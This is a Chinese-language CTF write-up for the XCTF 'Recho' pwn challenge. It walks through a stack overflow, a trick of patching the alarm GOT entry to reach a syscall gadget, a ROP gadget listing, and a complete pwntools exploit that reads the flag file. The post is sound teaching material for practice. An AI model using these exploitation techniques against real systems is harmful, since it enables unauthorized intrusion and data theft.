【XCTF攻防世界】Recho Writeup

@t3ls  August 5, 2019

XCTF攻防世界:Recho

原题:XCTF 3rd-RCTF-2017 Recho

题目链接:https://github.com/t3ls/pwn/raw/master/XCTF-adworld/Recho/recho

原理

这道题还是比较有意思的,打开程序,F5

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr; // [rsp+0h] [rbp-40h]
  char buf[40]; // [rsp+10h] [rbp-30h]
  int v6; // [rsp+38h] [rbp-8h]
  int v7; // [rsp+3Ch] [rbp-4h]

  Init();
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, &nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(&nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

一眼就能看到溢出,随便指定输入字节数

一开始的思路是DynELF,然而read是个while循环,怎么才能让他停下来呢

翻了一下pwntools文档,可以看到tubes类里有一个shutdown方法可以调用,官方解释如下:

def shutdown(self, direction = "send"):
        """shutdown(direction = "send")
        Closes the tube for futher reading or writing depending on `direction`.
        Arguments:
          direction(str): Which direction to close; "in", "read" or "recv"
            closes the tube in the ingoing direction, "out", "write" or "send"
            closes it in the outgoing direction.
        Returns:
          :const:`None`

可以用来关掉交互的管道,从而使程序跳出循环。

那我们把交互关掉了,又怎么多次leak,拿shell呢,emmmm

所以dynelf是行不通了,f12+shift 看一下字符串

.data:0000000000601058                 public flag
.data:0000000000601058 flag            db 'flag',0
.data:000000000060105D                 align 20h
.data:000000000060105D _data           ends

可以找到data段存在一个flag,猜测是直接open flag文件

所以思路就是open -> read -> write,但是elf里面是没有open的导入函数的,而且我们只能覆盖一次返回地址,所以leak出来也是不大可能的

能不能用syscall呢,ROPgadget并没有找到。我们知道libc映射的内存里肯定是有syscall的,这里就有一个小trick,可以通过gadget偏移GOT中库函数的位置,构造一个syscallgadget

比如alarm函数:

pwndbg> x/20i alarm 
   0x7fffff0fc200 <alarm>:      mov    eax,0x25 
   0x7fffff0fc205 <alarm+5>:    syscall 
   0x7fffff0fc207 <alarm+7>:    cmp    rax,0xfffffffffffff001
   0x7fffff0fc20d <alarm+13>:   jae    0x7fffff0fc210 <alarm+16>
   0x7fffff0fc20f <alarm+15>:   ret    
   0x7fffff0fc210 <alarm+16>:   mov    rcx,QWORD PTR [rip+0x2f7c61]        # 0x7fffff3f3e78
   0x7fffff0fc217 <alarm+23>:   neg    eax
   0x7fffff0fc219 <alarm+25>:   mov    DWORD PTR fs:[rcx],eax
   0x7fffff0fc21c <alarm+28>:   or     rax,0xffffffffffffffff
   0x7fffff0fc220 <alarm+32>:   ret    
   0x7fffff0fc221:      nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7fffff0fc22b:      nop    DWORD PTR [rax+rax*1+0x0]
   0x7fffff0fc230 <__sleep>:    push   rbp
   0x7fffff0fc231 <__sleep+1>:  push   rbx 
   0x7fffff0fc232 <__sleep+2>:  mov    eax,edi
   0x7fffff0fc234 <__sleep+4>:  sub    rsp,0x18
   0x7fffff0fc238 <__sleep+8>:  mov    rbx,QWORD PTR [rip+0x2f7c39]        # 0x7fffff3f3e78
   0x7fffff0fc23f <__sleep+15>: mov    rdi,rsp
   0x7fffff0fc242 <__sleep+18>: mov    rsi,rsp
   0x7fffff0fc245 <__sleep+21>: mov    QWORD PTR [rsp+0x8],0x0

因此只要把alarm的GOT加5就ok了,这时候就可以找一些可用的gadget

Gadgets information 
============================================================
0x0000000000400682 : adc byte ptr [rax], ah ; jmp rax
0x00000000004008af : add bl, dh ; ret
0x00000000004008ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040082f : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x000000000040068c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000400831 : add byte ptr [rax], al ; leave ; ret
0x000000000040068e : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret
0x0000000000400832 : add cl, cl ; ret 
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
0x00000000004005b3 : add esp, 8 ; ret
0x00000000004005b2 : add rsp, 8 ; ret
0x00000000004006f7 : and byte ptr [rax], al ; add ebx, esi ; ret
0x00000000004005a9 : and byte ptr [rax], al ; test rax, rax ; je 0x4005b9 ; call rax
0x0000000000400889 : call qword ptr [r12 + rbx*8]

可以找到0x00000000004008ae ~ 0x000000000040070d有一系列可以改got的gadget,之后就是常规rop了

exp

from pwn import *
context.update(arch='amd64', log_level='debug', endian='little')

p = process('./recho')
#p = remote('111.198.29.45', 44707)
#gdb.attach(p)
e = ELF('./recho')
pop_rdi = 0x00000000004008a3
pop_rsi_r15 = 0x00000000004008a1
pop_rdx = 0x00000000004006fe
add_rdi_al = 0x000000000040070d
pop_rax = 0x00000000004006fc
flag = 0x601058
syscall = e.plt['alarm']


def pwn():
    payload = flat(['t3ls'.ljust(0x38, '\x00')])
    payload += flat([pop_rdi, e.got['alarm'], pop_rax, 5, add_rdi_al])
    payload += flat([pop_rdi, flag, pop_rsi_r15, 0, 0, pop_rdx, 0, pop_rax, 2, syscall])
    payload += flat([pop_rdi, 3, pop_rsi_r15, e.bss(0), 0, pop_rdx, 64, e.plt['read']])
    payload += flat([pop_rdi, 1, pop_rsi_r15, e.bss(0), 0, pop_rdx, 64, e.plt['write']])
    p.sendlineafter('server', str(0x1000))
    p.send(payload)
    p.shutdown()
    p.interactive()

if __name__ == '__main__':
    pwn()

添加新评论